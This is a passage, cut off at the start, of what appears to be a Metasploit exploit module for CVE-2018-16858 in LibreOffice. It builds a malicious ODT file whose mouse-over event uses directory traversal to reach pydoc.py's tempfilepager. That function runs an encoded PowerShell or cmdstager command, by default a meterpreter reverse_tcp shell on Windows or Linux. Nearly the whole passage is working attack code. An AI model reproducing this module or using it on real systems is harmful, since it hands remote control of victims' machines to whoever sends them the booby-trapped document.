A macro can be tied to a program event by including the script that contains the macro and the function name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the Python script to be executed. This allows a program event to execute functions from Python scripts relative to the path of the samples macros folder. The pydoc.py script included with LibreOffice contains the tempfilepager function that passes arguments to os.system, allowing RCE. This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alex Inführ', # Vulnerability discovery and PoC 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'CVE', '2018-16858' ], [ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ] ], 'Platform' => [ 'win', 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Payload' => 'windows/meterpreter/reverse_tcp', 'DefaultOptions' => { 'PrependMigrate' => true } } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Payload' => 'linux/x86/meterpreter/reverse_tcp', 'DefaultOptions' => { 'PrependFork' => true }, 'CmdStagerFlavor' => 'printf', } ] ], 'DisclosureDate' => "Oct 18, 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']) ]) end def gen_windows_cmd opts = { :remove_comspec => true, :method => 'reflection', :encode_final_payload => true } @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts) @cmd << ' &amp;&amp; echo' end def gen_linux_cmd @cmd = generate_cmdstager.first @cmd << ' &amp;&amp; echo' end def gen_file(path) text_content = Rex::Text.rand_text_alpha(10..15) # file from Alex Inführ's PoC post referenced above fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb')) libre_file = ERB.new(fodt_file).result(binding()) libre_file rescue Errno::ENOENT fail_with(Failure::NotFound, 'Cannot find template file') end def exploit path = '../../../program/python-core-3.5.5/lib/pydoc.py' if datastore['TARGET'] == 0 gen_windows_cmd elsif datastore['TARGET'] == 1 gen_linux_cmd else fail_with(Failure::BadConfig, 'A formal target was not chosen.') end fodt_file = gen_file(path) file_create(fodt_file) end end
